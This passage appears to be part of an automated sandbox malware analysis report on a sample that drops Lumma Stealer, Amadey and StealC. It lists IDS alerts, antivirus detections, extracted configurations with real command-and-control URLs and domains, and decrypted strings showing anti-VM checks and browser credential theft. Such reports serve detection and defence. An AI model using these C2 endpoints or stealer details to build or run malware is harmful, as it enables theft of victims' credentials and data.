2024-10-30T12:36:04.356235+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-30T12:36:05.937570+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49732	188.114.97.3	443	TCP
2024-10-30T12:36:07.359185+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	188.114.97.3	443	TCP
2024-10-30T12:36:08.558237+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	188.114.97.3	443	TCP
2024-10-30T12:36:10.169330+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-30T12:36:11.798724+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-30T12:36:30.796281+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49743	188.114.97.3	443	TCP
2024-10-30T12:36:53.932107+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49748	188.114.97.3	443	TCP
2024-10-30T12:36:55.170710+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49750	188.114.97.3	443	TCP
2024-10-30T12:36:56.924735+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49752	188.114.97.3	443	TCP
2024-10-30T12:36:58.169043+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49753	188.114.97.3	443	TCP
2024-10-30T12:37:00.199849+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49754	188.114.97.3	443	TCP
2024-10-30T12:37:02.596890+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49764	188.114.97.3	443	TCP
2024-10-30T12:37:04.294053+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49770	188.114.97.3	443	TCP
2024-10-30T12:37:06.928522+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49788	188.114.97.3	443	TCP
2024-10-30T12:37:08.300815+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49800	188.114.97.3	443	TCP
2024-10-30T12:37:09.680001+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49811	188.114.97.3	443	TCP
2024-10-30T12:37:12.095965+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49829	188.114.97.3	443	TCP
2024-10-30T12:37:13.716915+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49843	188.114.97.3	443	TCP
2024-10-30T12:37:17.694856+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49870	188.114.97.3	443	TCP
2024-10-30T12:37:22.193548+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49907	188.114.97.3	443	TCP
2024-10-30T12:37:26.425548+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49937	188.114.97.3	443	TCP
2024-10-30T12:37:29.318506+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49953	188.114.97.3	443	TCP
2024-10-30T12:37:41.699411+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	62823	188.114.97.3	443	TCP
2024-10-30T12:37:42.859435+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	62837	188.114.97.3	443	TCP
2024-10-30T12:37:44.091129+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	62843	188.114.97.3	443	TCP
2024-10-30T12:37:45.376708+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	62854	188.114.97.3	443	TCP
2024-10-30T12:37:46.567353+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	62862	188.114.97.3	443	TCP
2024-10-30T12:37:48.251941+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	62871	188.114.97.3	443	TCP
2024-10-30T12:37:49.840012+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	62881	188.114.97.3	443	TCP
2024-10-30T12:37:51.078192+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	62891	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:36:32.189309+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49744	185.215.113.16	80	TCP
2024-10-30T12:37:06.710552+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49787	185.215.113.16	80	TCP
2024-10-30T12:37:08.358532+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49794	185.215.113.16	80	TCP
2024-10-30T12:37:30.712903+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49960	185.215.113.16	80	TCP
2024-10-30T12:37:52.497372+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	62898	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:36:55.195532+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49749	185.215.113.43	80	TCP
2024-10-30T12:37:00.760390+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49755	185.215.113.43	80	TCP
2024-10-30T12:37:05.766121+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49781	185.215.113.43	80	TCP
2024-10-30T12:37:11.028605+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49819	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:36:02.202754+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	64257	1.1.1.1	53	UDP
2024-10-30T12:36:53.264838+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	58693	1.1.1.1	53	UDP
2024-10-30T12:37:07.634895+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	56131	1.1.1.1	53	UDP
2024-10-30T12:37:40.094899+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	65451	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:36:02.214295+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	55755	1.1.1.1	53	UDP
2024-10-30T12:36:53.275281+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	54237	1.1.1.1	53	UDP
2024-10-30T12:37:07.646886+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	65246	1.1.1.1	53	UDP
2024-10-30T12:37:40.107828+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	56005	1.1.1.1	53	UDP
2024-10-30T12:37:40.878684+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	62818	1.1.1.1	53	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:36:02.241273+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	52823	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:36:02.189249+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	51454	1.1.1.1	53	UDP
2024-10-30T12:36:53.253317+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	56010	1.1.1.1	53	UDP
2024-10-30T12:37:07.619760+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	60882	1.1.1.1	53	UDP
2024-10-30T12:37:40.079680+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	63053	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:36:02.226162+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	58621	1.1.1.1	53	UDP
2024-10-30T12:36:53.286628+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	63329	1.1.1.1	53	UDP
2024-10-30T12:37:07.657844+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	54137	1.1.1.1	53	UDP
2024-10-30T12:37:41.066514+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	60643	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:36:57.393998+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49752	188.114.97.3	443	TCP
2024-10-30T12:37:44.727928+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	62843	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:37:02.414094+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T12:37:09.553997+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49803	185.215.113.206	80	TCP
2024-10-30T12:37:22.917817+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49906	185.215.113.206	80	TCP
2024-10-30T12:37:32.469183+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49971	185.215.113.206	80	TCP
2024-10-30T12:37:50.399586+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	62882	185.215.113.206	80	TCP
2024-10-30T12:38:07.764682+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	62934	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:36:47.092945+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49745	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:36:54.273866+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49746	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:36:50.651350+0100	2803305	3	Unknown Traffic	192.168.2.4	49747	185.215.113.16	80	TCP
2024-10-30T12:36:56.134608+0100	2803305	3	Unknown Traffic	192.168.2.4	49751	185.215.113.16	80	TCP
2024-10-30T12:37:01.710227+0100	2803305	3	Unknown Traffic	192.168.2.4	49757	185.215.113.16	80	TCP
2024-10-30T12:37:06.710552+0100	2803305	3	Unknown Traffic	192.168.2.4	49787	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:37:49.896611+0100	2843864	1	A Network Trojan was detected	192.168.2.4	62881	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000006.00000003.2099183730.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 26.2.num.exe.d10000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 7f3598dc65.exe.764.16.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["founpiuer.store", "navygenerayk.store", "fadehairucw.store", "necklacedmny.store", "thumbystriw.store", "presticitpo.store", "crisiwarny.store", "scriptyprefej.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 48%
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	ReversingLabs: Detection: 48%
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	ReversingLabs: Detection: 35%
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	ReversingLabs: Detection: 35%
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	ReversingLabs: Detection: 35%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 37%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 26.2.num.exe.d10000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: 30
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: 11
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: 20
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: 24
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetProcAddress
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: LoadLibraryA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: lstrcatA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: OpenEventA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CreateEventA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CloseHandle
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Sleep
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: VirtualFree
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetSystemInfo
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: VirtualAlloc
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: HeapAlloc
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetComputerNameA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: lstrcpyA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetProcessHeap
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetCurrentProcess
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: lstrlenA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: ExitProcess
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetSystemTime
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: advapi32.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: gdi32.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: user32.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: crypt32.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: ntdll.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetUserNameA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CreateDCA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetDeviceCaps
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: ReleaseDC
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: sscanf
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: VMwareVMware
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: HAL9TH
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: JohnDoe
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: DISPLAY
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: http://185.215.113.206
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: bksvnsj
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: /746f34465cf17784/
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: tale
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetFileAttributesA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GlobalLock
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: HeapFree
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetFileSize
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GlobalSize
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: IsWow64Process
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Process32Next
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetLocalTime
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: FreeLibrary
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetVolumeInformationA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Process32First
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetLocaleInfoA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetModuleFileNameA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: DeleteFileA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: FindNextFileA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: LocalFree
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: FindClose
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: LocalAlloc
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetFileSizeEx
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: ReadFile
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: SetFilePointer
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: WriteFile
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CreateFileA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: FindFirstFileA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CopyFileA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: VirtualProtect
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetLastError
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: lstrcpynA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: MultiByteToWideChar
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GlobalFree
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: WideCharToMultiByte
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GlobalAlloc
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: OpenProcess
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: TerminateProcess
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetCurrentProcessId
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: gdiplus.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: ole32.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: bcrypt.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: wininet.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: shlwapi.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: shell32.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: psapi.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: rstrtmgr.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: SelectObject
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: BitBlt
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: DeleteObject
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CreateCompatibleDC
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GdiplusStartup
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GdiplusShutdown
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GdipDisposeImage
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GdipFree
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CoUninitialize
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CoInitialize
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CoCreateInstance
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: BCryptDecrypt
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: BCryptSetProperty
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: BCryptDestroyKey
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetWindowRect
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetDesktopWindow
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetDC
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CloseWindow
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: wsprintfA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CharToOemW
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: wsprintfW
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: RegQueryValueExA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: RegEnumKeyExA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: RegOpenKeyExA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: RegCloseKey
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: RegEnumValueA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CryptUnprotectData
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: SHGetFolderPathA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: ShellExecuteExA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: InternetOpenUrlA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: InternetConnectA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: InternetCloseHandle
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: InternetOpenA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: HttpSendRequestA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: HttpOpenRequestA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: InternetReadFile
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: InternetCrackUrlA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: StrCmpCA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: StrStrA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: StrCmpCW
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: PathMatchSpecA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: RmStartSession
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: RmRegisterResources
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: RmGetList
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: RmEndSession
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: sqlite3_open
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: sqlite3_step
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: sqlite3_column_text
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: sqlite3_finalize
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: sqlite3_close
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: sqlite3_column_blob
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: encrypted_key
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: PATH
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
